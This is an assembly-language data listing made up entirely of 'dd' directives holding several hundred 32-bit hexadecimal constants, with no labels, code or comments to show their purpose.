dd 40A71D98h, 26CC5E00h, 1EF7D8D4h, 0E4710501h, 42B5565Dh
dd 264A7F8Ch, 0D8AE48E8h, 0E2E1CA13h, 58833800h, 1D7A24h
dd 0FCD69E8Fh, 56D55E0Eh, 28DF5Ch, 24FB9A1Ch, 454026Ch
dd 0D70A2652h, 0E804C059h, 1F04D3B4h, 0FA9C81F7h, 0BBE73CD7h
dd 0D52DE16Fh, 5AC5A506h, 71A7070h, 40B5BC7Dh, 772020EAh
dd 0FC006E9Ch, 1F1A976h, 1774E59Bh, 0D68451Ch, 0C480DDA9h
dd 0D7064B99h, 7971554h, 16400050h, 0E156E013h, 6D02779Ch
dd 43F332B5h, 800065ECh, 0EEBDE00Fh, 8854184Dh, 0EB007D9Ch
dd 0C12D6FD8h, 0B8A7C37Fh, 440B00E3h, 298E37Bh, 817909E1h
dd 80E6613Ch, 41C7A6FCh, 32EF53h, 0DB95AD0Ah, 0F76D178Ch
dd 0B60BF300h, 0F1652E93h, 8A72009Ah, 2C7DEA83h, 2400ED98h
dd 23D43510h, 0E4BDB116h, 73E90442h, 802BAE74h, 0AFB234F2h
dd 3767E00h, 69BE3670h, 0C6F409FDh, 0CA05282h, 0C96445BBh
dd 0DBD72900h, 72B260FAh, 0EC4E541Dh, 0C88405ACh, 802E30A5h
dd 673C3614h, 11397100h, 1A4F232Ah, 59CE0A32h, 9E01487h
dd 700E0438h, 500E9E67h, 0A6C85317h, 94A97709h, 8688A0C7h
dd 7923BE64h, 0C15B2E1Fh, 5FFA0078h, 0F9948E5Ah, 30F2F400h
dd 2CD53996h, 8AF0FEh, 28925FC8h, 0C12BC766h, 0C612FF73h
dd 0C3595Bh, 2780021Dh, 752FFE21h, 7B035050h, 60B23FE7h
dd 0B0B0FC1Fh, 0FC67E6A2h, 560E27DAh, 4A517C02h, 0EFF6F0A2h
dd 822FE680h, 84A1FEECh, 80D4E9F5h, 0C8FFA928h, 8BF30Bh
dd 0A08263CAh, 0CC55DF1Dh, 0E6965B07h, 7DC0CB5Dh, 57AFCh
dd 0B3BC11F9h, 0A631673Eh, 46207E00h, 0E4C7D7D0h, 0BF530043h
dd 48592FB2h, 1339C264h, 804FBED8h, 0AF5F374Ah, 0F934526h
dd 228F85A3h, 0BC5400D7h, 0E8DB5A8Bh, 2035010Ah, 0DA80AC1Ch
dd 7278130Fh, 14AF0073h, 0B44ED410h, 0E8003AAEh, 849E484Dh
dd 3C818DE9h, 0DE00A980h, 7BE70C1Ch, 7F1372BAh, 3CC05415h
dd 289D10ADh, 0AC1E44h, 0CF4A6D73h, 0ED703930h, 0A22BD81Ch
dd 7F2D7440h, 0F0132DDh, 27CA1CDh, 30E7AEA7h, 3A6319D3h
dd 0A8467201h, 1F6D49B9h, 22F5BCCh, 0B002910Ah, 24C0DDEBh
dd 7D00A96Bh, 3D22274h, 278DC8h, 9FA8EF04h, 97954610h
dd 0AE74000h, 0A6F225DBh, 0B52C00C5h, 1AAC2FD9h, 41012610h
dd 0B3EA0EBFh, 470BDBAh, 7C8C3AB2h, 8B16EC00h, 0D4908121h
dd 5242602h, 40567169h
dd 0F5BCE26Ch, 0CC27E4h, 0C5C47D78h, 0E8A20A96h, 3D6F3109h
dd 0A1DCC111h, 3064E311h, 0E102D2BCh, 0A56FF426h, 0AD94805Ch
dd 51B467Bh, 0C356B0F6h, 19A200EDh, 224E5E43h, 66BDEE09h
dd 0D24400DBh, 0FD6D350h, 14D519A4h, 82A1803Eh, 0D937AA1Dh
dd 88013890h, 0F1F67454h, 0E9C02531h, 7590439h, 808BFCD2h
dd 0D646A58h, 7C9F5B17h, 0C61C4101h, 0D4204A80h, 998102A9h
dd 2E8BDC92h, 58875C62h, 3BFDE18Ah, 0FAC140F0h, 740050A3h
dd 0A5A4E943h, 62D9C5h, 0B6B9C110h, 2548F6B2h, 44A80250h
dd 81EA0B39h, 4A319960h, 9064BB2Dh, 0BA890061h, 0CC7CE9AAh
dd 0F10CADFEh, 38FA2A43h, 0D1D200A8h, 49DD8BE4h, 0A544ED69h
dd 40E49839h, 43FA5C2Ch, 0BD29353Fh, 559C8171h, 610A0803h
dd 6914834h, 4EFFAD69h, 6B00E045h, 19555B43h, 5059CAFBh
dd 78D062h, 3AEF7901h, 896965B7h, 5B8D371Dh, 76E1F40h
dd 3552A25h, 0B40B4C1h, 0F6982E01h, 4E00F5C2h, 1B15273Ch
dd 0BADD6858h, 409B4E00h, 0B72D3B58h, 0CC2C9CD0h, 0F087A856h
dd 8D506709h, 78FE494Eh, 9A512CA2h, 6B3881C4h, 38D18741h
dd 0B32B0220h, 0C0480C5Dh, 4F3EDCCh, 0C34E3BF4h, 9368A08Eh
dd 231A3984h, 5C000A4Ch, 8F8EB00Dh, 2BB06B9Dh, 9F583560h
dd 36F3AFh, 1A4001C2h, 46C9FD05h, 1B274D12h, 9893EC00h
dd 8FB4DFh, 0EDC1FEE2h, 76F27ECDh, 0A13015F0h, 8649F080h
dd 23644496h, 0A318511Dh, 3FB5B3C0h, 3541459h, 0EE7AF7DEh
dd 89B39178h, 85C1D7D0h, 0D8921A00h, 762F7C21h, 0C8E313C0h
dd 0AA68400Fh, 84E63BB3h, 0C475FBA1h, 9B5F7C7Bh, 0B299DC42h
dd 5C9C68D0h, 0BD2E0421h, 0C7ADE365h, 0B9305058h, 0B100E769h
dd 376CEF33h, 0F173AFh, 74F72ABBh, 0F679A93Fh, 5C21C138h
dd 859D0163h, 611F9002h, 6C5C1C29h, 0FC4DD06h, 0EF1F109Eh
dd 9C05C6C2h, 1400361Fh, 0FCA2A4AAh, 0F9DF1833h, 2FEF08FEh
dd 0B3035A00h, 0A23C797Bh, 58C0799h, 8E85BE3Bh, 5871DAC0h
dd 0A825CFE7h, 264C25A7h, 73E32C3h, 0F1142B30h, 28691C30h
dd 2FF0861Dh, 95030828h, 1681A727h, 504B9A29h, 808990F0h
dd 0A2371E28h, 0E9F0EA54h, 5E03AA88h, 749BEEC8h, 0FB6F9407h
dd 100F8E7h, 385DD239h, 8252E14h, 6B418C12h, 9843C1Dh
dd 5C616Bh, 31EA4A72h, 0E66E236h, 235972FEh, 82D278A0h
dd 0C10FE155h, 0A0BB4461h, 0B10DECC6h, 0DF4E0063h, 0FC285201h
dd 0E800C362h, 3A64650Bh, 0D32139D5h, 73590030h, 1B45CBA7h
dd 3594D0F9h, 4F80AC00h, 75EDD8F4h, 83E600F8h, 6FDAF2A1h
dd 78005B9Ah, 923A1445h, 189D6CDh, 412AFAA7h, 0D89A8221h
dd 0B40052ECh, 5AEFE9F2h, 53CFCEh, 84E8F592h, 6E878D90h
dd 94442000h, 0AC8ADCBDh, 512604FAh, 0C090920Eh, 68F5AB9h
dd 5B01DA00h, 755DF0ECh, 0CBFF007Eh, 0C76C1AD7h, 14962823h
dd 0BE84BE5Ch, 0C3EF0453h, 26480A86h, 2F7DDD10h, 0CFDCC002h
dd 0C6872401h, 8B11D47Ch, 0E161159h, 7614C828h, 877896Fh
dd 0B40F44DEh, 0CB162284h, 69116342h, 10A02111h, 424F8890h
dd 8C2415D2h, 12D0AF21h, 177D103Bh, 35087889h, 10DED445h
dd 64891E2Ah, 12DBE909h, 23571013h, 28575089h, 58FF88C8h
dd 847D914Fh, 50DEFE22h, 442914EBh, 22842826h, 0D742E1E7h
dd 22294211h, 3A874B14h, 4F238800h, 0D64FCF00h, 0F03A56Bh
dd 86E19140h, 0BE0AF929h, 6A00B87Dh, 41C731C1h, 0BD0199EBh
dd 8F479E8Ch, 6BC835BEh, 49FD3C2Bh, 0C045C21Fh, 88501D7Ch
dd 2427994Ch, 0A4C07F7h, 0BCE81A80h, 9DE0987h, 0EF8FB1D4h
dd 0DF840B01h, 0E650803Eh, 4BDC1D6Fh, 6EF6803Fh, 0A620CC71h
dd 0C1D32295h, 13447806h, 284B11h, 94F276F8h, 4C516F73h
dd 0D8886017h, 90D7E900h, 0D1BF33h, 3860B35h, 0A1502416h
dd 5BD82A00h, 4621E18h, 9EFC006Dh, 217EE987h, 97F429ADh
dd 0E59A8A0Fh, 517F40D7h, 3CA25C50h, 7304AC8Eh, 0E02B3AC3h
dd 110BFEACh, 85971E25h, 8500A361h, 0E0E580A2h, 991C0006h
dd 5F6B799Fh, 761BA6DBh, 0EF38AAADh, 3BBB477Fh, 0CD7FACE0h
dd 9C5000CEh, 0E4E7AD38h, 79001D15h, 3A97400Ah, 0B3E87Eh
dd 18C89DF3h, 5B13CCAFh, 73AEE000h, 802C7248h, 32ED0EDEh
dd 30AF0176h, 0DCBE0B20h, 0F507A54Ch, 2F393584h, 196B8660h
dd 265781Eh, 0C2935C05h, 91805F28h, 638E9BD5h, 0F337F90Eh
dd 5658A0FFh, 3A648B6Eh, 92A63E72h, 881B0024h, 0EBB46B23h
dd 0BC07C02Ah, 0B2F0A600h, 168A40F9h, 0CEDC3B96h, 2E8F84DCh
dd 0CBB22880h, 4B27C1A7h, 0BEE48065h, 0BCDE03h, 0A9EBAFD6h
dd 91103C7Eh, 0AC631B00h, 0E9FDB6F5h, 15200007h, 6A60495Ch
dd 0C1177B13h, 0CC76C2h, 455C0016h, 41D4C567h, 0CF097FBFh
dd 13A1D46h, 5EB02730h, 803C0BDCh, 587B8C37h, 103BFD30h
dd 0BAE32A6h, 110918F6h, 0C080E485h, 0DA5023BBh, 0DFD65405h
dd 74924186h, 4F7879B0h, 0FA7DA5C0h, 0D2040ABBh, 0DABC9859h
dd 534F3881h, 19CCBF8h, 6D79AEE1h, 285F0C61h, 739B00D8h
dd 0F2C95CDFh, 660900ACh, 0AD84A603h, 7F075F5Bh, 6D06FB2h
dd 15A101B0h, 7E110058h, 1909DDE2h, 761E9C96h, 5500525Eh
dd 0C50518D9h, 2DF60091h, 70E4F207h, 2B00857Ch, 232F630Bh
dd 0E543E9FEh, 2500B43Ch, 0CB751D4Ch, 620E50BDh, 0ACDFC4D6h
dd 0FEE844h, 9657C22Fh, 33F55F92h, 9460F47Ah, 0BE6C2EE1h
dd 0B1CA0734h, 8FB630A0h, 0B17CCA0h, 7F006A70h, 0E40408A3h
dd 5DA43Eh, 6C63C0F1h, 1D66C292h, 82892A00h, 40967DEAh
dd 0C888A829h, 85E4319Fh, 0F5C40818h, 1324396Ah, 50C01B09h
dd 5C9B4AB7h, 0A0386887h, 1FF2AC09h, 355A5C81h, 8CC5065h
dd 8500D8B0h, 32403036h, 673F6Dh, 0F5F4B7E9h, 0A6D1DAC7h
dd 97907200h, 0F0D085Ah, 769E885Ch, 9300BA74h, 63B50C15h
dd 48955687h, 0BF032830h, 88B9752h, 6A6E50F7h, 6F6A025h
dd 0B8C1300Eh, 20FE8E73h, 725A64D9h, 0FFE9000Eh, 82754222h
dd 0BF00B5B3h, 0A986F60h, 0F38A424h, 805AB840h, 0B419001Ch
dd 44C75B8Eh, 0CC550500h, 7B1E0393h, 77720097h, 0A2E928ABh
dd 860E84A0h, 20926AE8h, 1A4FA52Dh, 29F00098h, 0F1BAED7h
dd 3403668Ch, 31A03722h, 6B4C88D9h, 0B97400C0h, 70DE027Dh
dd 95004F07h, 0FEE9C2DFh, 251530Fh, 5D713F12h, 84F0B990h
dd 0DB76AC00h, 79140ED6h, 0B2700F73h, 4C2E1317h, 0A080E7BFh
dd 45E41DF1h, 800342F0h, 1EE04AA7h, 0B778D00Fh, 147E0E73h
dd 161F7512h, 0DF480027h, 0BA2DB5D9h, 0AB54BFFAh, 5F0085C0h
dd 0DE66DDC3h, 0F30A580h, 7AEF6938h, 59348036h, 95036D25h
dd 0A11479B9h, 7F191D40h, 49C8D8F7h, 6E040129h, 0D066C08Dh
dd 265A9080h, 0EFF5001Ah, 0E3B3B133h, 0A40ED8A3h, 208840ACh
dd 25484E6Eh, 5A52004Dh, 0B234C8B8h, 0B100C272h, 8593B92Eh
dd 48A30478h, 9E00ACA0h, 0DE7FCC6Ah, 430796D3h, 0C4F02254h
dd 5E9D12C0h, 7D600AFh, 0EC11A66h, 19F26B8Ch, 9A50A300h
dd 0F6D83243h, 897300E3h, 688DB971h, 0A9FE4A6Eh, 1C525800h
dd 8B634956h, 5D3D0039h, 28FB2CA8h, 84002EC4h, 0C2AA32A9h
dd 97B3B5BBh, 80A618A0h, 9F04A1C8h, 68CBAFC0h, 160030F8h
dd 0AE6FDB18h, 0D1E777Ah, 0AC80DC4Ch, 46B041EAh, 16A57A84h
dd 9288C9E2h, 5C43E484h, 0BB6782C0h, 0CC1C2000h, 975BC56h
dd 0B4B58D9h, 357EC204h
dd 0EFE88042h, 5E00BD79h, 1DF85612h, 0BEA6A9h, 66234068h
dd 0D83AB71h, 0EEE75007h, 80478ABDh, 406E03D0h, 2E7B13A8h
dd 0D2FB00B8h, 5C3EF49Dh, 94747D0Eh, 0C1634270h, 11D8602Dh
dd 61EA009Bh, 0C5A1438Ah, 0E73855CCh, 0E2E503CFh, 0D99DB542h
dd 86DD87DDh, 0F0420h, 627E2BE7h, 0AACADB3Fh, 68748400h
dd 0C11E04F3h, 0ACDF48A1h, 0FC092F00h, 2CA27AEEh, 0D9FD300h
dd 56A849E4h, 1E76F45Ah, 0C0AEFDA0h, 7FA5611Dh, 4BEEFC68h
dd 0B01DF3F4h, 3B69F1h, 0B795062Bh, 0E5D18242h, 0FC1C5280h
dd 0F13A7424h, 0F59D4300h, 57F221Eh, 18CF0061h, 6BED0EC8h
dd 0A6004BE1h, 0B4A05854h, 244F13Dh, 8EA3712Ch, 0C840B7C8h
dd 0AE007476h, 4BD70F13h, 1438ABB1h, 0DC4A4FEAh, 0C4210185h
dd 0A887BAEAh, 6FB87930h, 57180282h, 0EFB11BD7h, 49013C56h
dd 29A838ADh, 2017C820h, 682FEE12h, 889860E6h, 15320BD0h
dd 0EB00116Eh, 0B73DEB80h, 643B3Fh, 902B9C57h, 17138ABEh
dd 20ED10A9h, 7A82717Ch, 0FFCB390Eh, 385D8019h, 24BEA529h
dd 39448EDh, 1CA70A25h, 2E9444B1h, 2B5C4C20h, 0F8904CF9h
dd 0B262D900h, 1EED5A88h, 6F69F500h, 0BA2F3B49h, 5BAE003Dh
dd 6DF02402h, 0E2004E74h, 0A5D2DD8Ch, 0F41C6Ah, 0D1665460h
dd 8BC6EB11h, 623E1E00h, 0FD4C993Dh, 6BC42CE3h, 75370034h
dd 67C5A6BBh, 80DA8A2Dh, 32BECB04h, 1EAE04B2h, 0ACEAF82Ch
dd 0C970094h, 6F2FE6A0h, 0CD83253Dh, 763680E8h, 9B05BC00h
dd 7D4B5911h, 24A0970Dh, 482EA3C4h, 0C73D2B00h, 62D890E0h
dd 5A7F0B3Bh, 8480DC40h, 0FC1032Dh, 7A1A9200h, 35609DCFh
dd 6B411E5Fh, 539B80C9h, 34ED458Bh, 15AD5D02h, 403EBDC0h
dd 7A98B0h, 31B68428h, 0A72F6EF1h, 0D19874EAh, 1C0A47FAh
dd 0C0D36AF7h, 12C8500h, 0E114D63h, 0C368B6DAh, 808DA425h
dd 53DC12Bh, 0DC63EA03h, 0B88E3F15h, 0A420E6h, 0ECEE6429h
dd 0ED2AF04h, 8300307Dh, 0B2CB74E4h, 0E2AB49CFh, 90120046h
dd 4C587096h, 0F770A2C8h, 0E57B7500h, 6BD06AEBh, 0C4790042h
dd 0F7A1990h, 0D907DBAEh, 0B225E29Dh, 9AF3CAF0h, 93A000D4h
dd 0EA9796Eh, 4403DE0Ah, 0F2F7D578h, 0E1D1E9A5h, 84DCF6h
dd 0D64C1C57h, 0E9007FEFh, 87E08D73h, 462C12h, 0AAC5AC22h
dd 8E0B48BEh, 16E6BA3Ch, 0C480560Ch, 7FCAFF4h, 98148D43h
dd 1A6FF0DEh, 69045351h, 0A8A7A175h, 2C752CB2h, 394D44Eh
dd 0FD9F0D94h, 0B92F5298h, 0C709E4FCh, 88AC3626h, 183B945Eh
dd 670FA40h, 0C8E300BEh, 0C2A33727h, 0A1DC1E7h, 0A740AEC7h
dd 0FE501858h, 0FA1746Bh, 961EF8C6h, 9EC940DFh, 7626F429h
dd 5F8690C0h, 4CA9AF49h, 800E503Eh, 0C9C04A5Ah, 0B2F9A48h
dd 7582B603h, 0F98D9550h, 1EF09D93h, 0CCC3015Bh, 4F410E7Ah
dd 0B817FF67h, 0D4000207h, 0C16186BCh, 0E05000F4h, 5619152Ah
dd 0B7FA66h, 9BCCA730h, 2F400426h, 90DCC339h, 72F67C60h
dd 5B15FC00h, 3D5A990Eh, 97780Ah, 0B3F8A65Dh, 4D5F44FAh
dd 0C4DD9300h, 0BF372EE7h, 0B050E169h, 3F8F7F1h, 765E60D5h
dd 34BBED11h, 1472FAC8h, 7707F471h, 0E7ADD555h, 7B081EC0h
dd 73594C1Fh, 5D949700h, 2B57100Bh, 604C5500h, 6D3F5E34h
dd 1FDA1FCBh, 0CEE4C1D5h, 0CEC74DC1h, 8283C454h, 4AC0EAFDh
dd 7B3C0110h, 0C3A20A94h, 0C38087C2h, 7D46D8FEh, 0CFDCC519h
dd 5DF86ECCh, 0D08304BFh, 0F0EC93DFh, 0D53EBDB4h, 4275A55Fh
dd 7348C80Ch, 0FE30149h, 9B0ECB87h, 6D198442h, 2DC5B739h
dd 4E7DB0F0h, 8038C415h, 0C6CF13E8h, 0C0780900h, 0A440BF8Eh
dd 8B51CE6h, 0F8B989C4h, 0C19988C3h, 0D0013BE0h, 51900468h
dd 0E66E618Eh, 84A0D9EBh, 7C5CF018h, 0F143A00h, 8B86DA19h
dd 73A706D2h, 298CDE33h, 89456D00h, 6712B5DBh, 20480071h
dd 0D55D6A38h, 0AD04ACC9h, 0A4C711CDh, 3E96ECE4h, 0E7808776h
dd 3E2A4291h, 78009DAAh, 0F534B76Bh, 1F213745h, 0FB311851h
dd 1D67238Eh, 2452D0E7h, 0C9D8809Ah, 79602146h, 93ECEB48h
dd 0D3920094h, 0B7EA5271h, 85003BF4h, 44EE901Ch, 1B4E012h
dd 0E1314616h, 0C45F411Ah, 2E0F93D3h, 0A043DF09h, 75667024h
dd 0B7AC58D5h, 7892ED01h, 0C0E81077h, 0F40074FAh, 0E133BF6Ah
dd 0E79C04E5h, 0C163Bh, 7D4F86CEh, 853FAB2Fh, 59DD8060h
dd 48CF9CDFh, 426238C0h, 631BD980h, 9FE45A0Eh, 0B36F7A00h
dd 2B73F130h, 0EEDF0081h, 0CC9CD533h, 1A72586Eh, 9A0E4A00h
dd 7B3D2247h, 8C440078h, 579162B4h, 0CD00D46Ch, 301125DEh
dd 16A3F5FDh, 49C6A7h, 0E20901E8h, 5118C5D2h, 0AA9E3F32h
dd 8D640FC8h, 10C0493Bh, 0BF36CC88h, 81935425h, 0DF53B968h
dd 92803FC1h, 8076CCBEh, 0EE249845h, 0AA16244Ch, 57BC4800h
dd 796CB632h, 0BDDD00EAh, 1F63BEF3h, 7400CE47h, 7C31DFB3h
dd 0F8166848h, 12580026h, 0A84A623Ch, 9D00FCB8h, 0DEAD94D3h
dd 1CF0EB36h, 0C06F7F4Ch, 79D5DAEEh, 1B00CCA3h, 598CB1F6h
dd 6BE8C9h, 2B23A67Ch, 9D6A3704h, 61005276h, 44683BB9h
dd 2E5F906Ch, 81F440h, 3C5E834Fh, 5D39D16Ah, 8FF99629h
dd 0B8ECA0h, 0ED9D54D6h, 0B2E76ADFh, 0FDA18200h, 0B93135B4h
dd 39AE60ECh, 429F12BFh, 75C0B750h, 99894138h, 4D20930Ch
dd 0F4DD16FCh, 6B900798h, 0B0EEA77Bh, 94D9A451h, 292B6F30h
dd 90AE23Ah, 3B92EB58h, 10128C68h, 8F578D00h, 0E068899Dh
dd 36B0082h, 7CF10765h, 61018EECh, 672BC971h, 0F453C476h
dd 9863C88Bh, 1ED7004Bh, 0D357397Eh, 35006F1Fh, 0EAA9FBF7h
dd 1033B88h, 3E530BA1h, 0C4CCEE94h, 0B0905DEFh, 0D10022F6h
dd 1671C87Dh, 13F0903Ah, 18ACB54h, 0E5C6DCC5h, 0DB98E444h
dd 21825800h, 603A5F8Bh, 4DD00E9Fh, 3827B50Dh, 4FE280D5h
dd 0BA005BB4h, 3EDFCCD4h, 614B58h, 0AED00BBFh, 0E29BB00Dh
dd 24FDEB03h, 0F063848Ah, 0E0073Ch, 0D374C042h, 60086921h
dd 0BBA7EA07h, 90B20D83h, 9044F0C6h, 0AC450BFFh, 0C0480A5Ah
dd 8C797E7Dh, 26012877h, 0A9353477h, 8FDCA678h, 68D528BEh
dd 0E62402C8h, 0CE02E75Ch, 0D4906CF0h, 78189400h, 3B669BCDh
dd 9AA02616h, 318A0F48h, 0D010A580h, 84001AF0h, 0C968627h
dd 383D71Ch, 4066A788h, 0D0487ED4h, 0E60E0080h, 0D5D14652h
dd 51800EAh, 0CF1AB9EDh, 493DFF11h, 0ABE7001Ch, 0B5F6AA80h
dd 0F92A00B6h, 0B1303541h, 4B009E14h, 8E53E95h, 6187D9h
dd 43BAB342h, 4CA58567h, 9E8E7000h, 25060153h, 9D041DBCh
dd 0FFB5400Fh, 8B58DA3Bh, 0B1D47618h, 16882E0h, 0CB1B1FBAh
dd 6EB7BD57h, 90929C41h, 0CFDFF0F5h, 28D93560h, 86F10002h
dd 248E63C4h, 2713CB62h, 0E4C0FBBDh, 2C44B955h, 1782E9Ch
dd 0DEF2151Bh, 28186401h, 7DBBF624h, 0A0959A0Ah, 2B00102Eh
dd 0A6963874h, 82D00EAh, 0A1A741E1h, 5700DA48h, 0CA9FC522h
dd 2CF14Ah, 8830B8ECh, 60458AEEh, 9D819305h, 90803B28h
dd 3B9A57D6h, 378A6E30h, 0C40BCDh, 7081AA6Bh, 0E6024506h
dd 0C889A20Ch, 0EAF4E308h, 80A87EA4h, 0DBE07BA7h, 7C00170Bh
dd 8B98C935h, 0BC29275h, 2402F53Eh, 216E0860h, 791C2848h
dd 0A27CA22Eh, 4F012C26h, 0EE683839h, 3113BC8h, 0E7E0067Eh
dd 8F98EA47h, 9483ED4h, 0F7D1005Bh, 4F942F26h, 0F84E6E6h
dd 5561F572h, 0A68CC052h, 58005EF6h, 0F4DB5117h, 90EE7Ah
dd 1371F779h, 8174C61Eh
dd 4700809Eh, 0F6032CC4h, 5DFB0356h, 9B8549A1h, 0E286E9B8h
dd 8C07A290h, 1816960Eh, 54F5B6A0h, 0F82001Fh, 56D3EBADh
dd 6B7EB731h, 84F9A91Ch, 0FF9E7480h, 7250EEEh, 6E720C18h
dd 697CE0DAh, 5B271065h, 1428785Ah, 80E44F4Bh, 98C19660h
dd 7006B05h, 7781A2D3h, 9050C28Fh, 39EF001Fh, 481666B8h
dd 2703D4FFh, 88B9B46Dh, 1289E9Bh, 472FB72Eh, 809C78F2h
dd 95517960h, 0F1FD72h, 0EAC8B409h, 8DB5777Ah, 0D29EA51Fh
dd 373A20C0h, 3CF8D331h, 7C588183h, 80F6D81Eh, 22790FC0h
dd 700E12D9h, 19CBB71h, 861A0AACh, 417A54F5h, 0B7988A5Ch
dd 0E509CC4Eh, 25ED0100h, 0B84BC32Eh, 163C0035h, 4E7DF1FFh
dd 0B752BA2h, 0FA004977h, 6F152AB3h, 4C95BCACh, 43011CCDh
dd 0DBC23830h, 79DA7093h, 0FE74F409h, 0B1604017h, 34A903BEh
dd 0FAA6A1F7h, 5C42F8C0h, 0E0965000h, 792FE8C3h, 0CA840028h
dd 65065BD2h, 75026959h, 4A9C9B95h, 5E286A5Ah, 0D59F0048h
dd 0F976DBAEh, 0AC434500h, 2EF38CE3h, 0D83B000Ch, 2C6C491Fh
dd 294C4A26h, 0E685C80h, 0C307622Fh, 81F2051Ah, 90349A5Eh
dd 51A32693h, 3CD00042h, 1387AC30h, 0EBB06907h, 6E10FA52h
dd 579A8Ch, 793E0EEDh, 0B94AB188h, 5141B00h, 9F90DA13h
dd 0C4812FA0h, 63696C01h, 4FD5F80Fh, 0BDFDDC00h, 0C7830B82h
dd 444FC4Bh, 0A9CF6732h, 0E838A0F7h, 0B1C5AF00h, 45975AD0h
dd 8D691E49h, 2E73C359h, 68D07C48h, 5F0261B8h, 0C823C164h
dd 0FD18C880h, 0D7CE4C75h, 0CF5E3F73h, 1C0EB94Ch, 1AE08B7Ch
dd 0E1174BC9h, 4920F600h, 3188893Eh, 0F1162C4Dh, 504A9824h
dd 0B8039A76h, 77CE7E73h, 0DA84B03Bh, 7F9859h, 0B6834061h
dd 0E59B45E4h, 29288106h, 11F5ACh, 0B23A237Ch, 2FA48D08h
dd 71967301h, 2E0629C1h, 58608870h, 0F324F03Ah, 7CA70B58h
dd 0D64DFCE0h, 78CF251Dh, 0E06DFC0h, 4DEF621h, 0E9398483h
dd 0BCAC61h, 303E6A05h, 3E7FF24h, 0B1C05B3Bh, 492CA981h
dd 27050C9Ah, 80E498D2h, 0A6F30114h, 0B79D9347h, 0A3612040h
dd 41597300h, 89D62221h, 5081E124h, 72C979B9h, 0EEC0709Ah
dd 0B3BE7807h, 0C3501243h, 0B0145D63h, 0F64825FCh, 4C2E1880h
dd 5A012317h, 0FDE3CD1Ch, 23200296h, 2D0E0A14h, 8E50B292h
dd 89A0B52Ch, 1985ED82h, 1F19300h, 0FBABEB6Eh, 2D400063h
dd 385E6AB8h, 0F07372B0h, 88C4AAE0h, 8CB09311h, 5DD61F53h
dd 0C73B8457h, 0FE11401Fh, 161ACBF0h, 458507h, 10F93C9Bh
dd 33001C90h, 5A9B78EFh, 27749Ch, 2A1A4C9Ah, 0B54F19D8h
dd 31C5F003h, 88603825h, 0B2D535Ch, 3382E83Dh, 4700ECF0h
dd 0FD6C04B3h, 24108541h, 3A45A02h, 7BA0ADE1h, 84A9B6E8h
dd 3DC06201h, 0E4284EFEh, 0FD1A60h, 8D8B3B7Ah, 0CFFFDC35h
dd 34984398h, 22FE7516h, 693087h, 38F41CF8h, 61821606h
dd 95AC004Ch, 18FEA00Ch, 84248801h, 0D9EA93D0h, 12F4FCCh
dd 0D10F9E3Bh, 54CF72DFh, 23188290h, 48DA0D20h, 0E2B8003Ch
dd 5C4CEDBEh, 0C8A8A083h, 7401BA31h, 2D0D6719h, 33C44D45h
dd 92093022h, 70C93E20h, 91E44018h, 7EB1E610h, 20BE00FDh
dd 350BC49Dh, 0B0007658h, 0A3F99141h, 367CBADh, 0C0A7D071h
dd 0F4F0B8B9h, 7949A6A9h, 41B12DB4h, 0F8317E78h, 4C78093Fh
dd 30944F2h, 0BE40E2h, 90E136C0h, 88664F2Ch, 4A241E3Ch
dd 0E31C1FD4h, 4134AA98h, 134713Bh, 438BB78h, 604C50D4h
dd 0A008130h, 9A5CD15Ah, 349C5A2h, 51B6F5D2h, 0E9802DDh
dd 800CB403h, 11E1FF73h, 0C9AA00DEh, 0EA859D4Ch, 22005387h
dd 0BC849702h, 0A959D0h, 0E234BE6Fh, 0A682D62Ch, 8E026606h
dd 3A405053h, 83AE3064h, 521097Bh, 375D8480h, 0F23D75ADh
dd 9B0077F5h, 5C14B8D0h, 58900B30h, 0DE00CC48h, 18FA8685h
dd 7400E013h, 0F4BC77B3h, 41AC767h, 2711CB0Bh, 0A615C0D1h
dd 0DA17EFBDh, 0ACB0ACE8h, 33CE2C54h, 0D16B04A9h, 59CA9CBh
dd 509A47Eh, 49A6AC00h, 0EE3CC5h, 4FD89A04h, 0B67638A2h
dd 0FD13B17h, 0CD69A040h, 90338858h, 3B59840h, 72BA2E0Eh
dd 0F5973DB5h, 5E7F80C6h, 3F002948h, 9379CAABh, 1C729E0Eh
dd 9FA7059Ch, 7B630157h, 303FC73Ah, 7D13AADCh, 3080AD8Dh
dd 0FDA88A6h, 8F9759D6h, 29C08732h, 9FE804E4h, 9CF580h
dd 1F8D15FBh, 0C4F1B067h, 60BEAA00h, 61166840h, 0D2AF0F0Ah
dd 0C05C89A1h, 6AD54CC5h, 92E8998Ch, 38371D01h, 366CD230h
dd 301E6Bh, 73D771B1h, 0A507F8D5h, 0DC319E2Eh, 0A8B8E913h
dd 0BD3622BDh, 487C5490h, 18EB084Ch, 0E1837B1h, 8DDC18DBh
dd 44A3505Fh, 81F8DE00h, 0C05848D1h, 6ABE0590h, 803617F3h
dd 3DB796B6h, 0E3809CB1h, 0D1F0EFBCh, 498B2E4h, 5B61D5FAh
dd 16CCAB4h, 0ACDBCF31h, 9060DED0h, 0E9990058h, 0A33E8FEBh
dd 9A121C91h, 54B02674h, 1EEF7147h, 0CBCA23A4h, 18E489D9h
dd 758DEE2h, 0BA9C080h, 3B05F77h, 6D06B87Dh, 19F168FCh
dd 4DD824DCh, 0DB098CB2h, 0A33D3389h, 0A0FB992Ch, 58DD319h
dd 0BD239804h, 0FA8C000Bh, 0A90F0DC6h, 43687512h, 0B52C64E2h
dd 85E21DA8h, 0B8A6F1F0h, 0C7170314h, 0E42F2Ah, 0D1593A71h
dd 0D61A7121h, 0B2575B77h, 53AA0C88h, 14E38916h, 905C27BAh
dd 0B118644Ch, 5B8F2930h, 0E6FD7B03h, 0E7CF713Ch, 31104057h
dd 503F8A96h, 7CFEFB37h, 68050080h, 7F0A11BBh, 0E20BC6B2h
dd 0B1176E1Eh, 90DEF14h, 0E89C30ACh, 78B83A02h, 68EC3FC8h
dd 2E9EC3ACh, 0BCFDA48h, 6879761Dh, 0E0838262h, 53CF58h
dd 74F0F573h, 31380A9h, 59E22D01h, 39EDA472h, 5445DC4h
dd 0CE6611Dh, 0FF7428A1h, 4BA1DB64h, 0E843E970h, 0C6820A05h
dd 9C545918h, 8C663C68h, 993B5F2Ch, 7710C061h, 141C6343h
dd 96A06E59h, 48C054E2h, 8626774Dh, 9F007EE3h, 0C5749DB9h
dd 0F8EB00D7h, 2CDCB8CFh, 0EC91B14Ch, 0F2B9E501h, 0D9306B51h
dd 5C52F0D6h, 5B2D9572h, 0F24AC880h, 0B0327C6h, 9F511BEBh
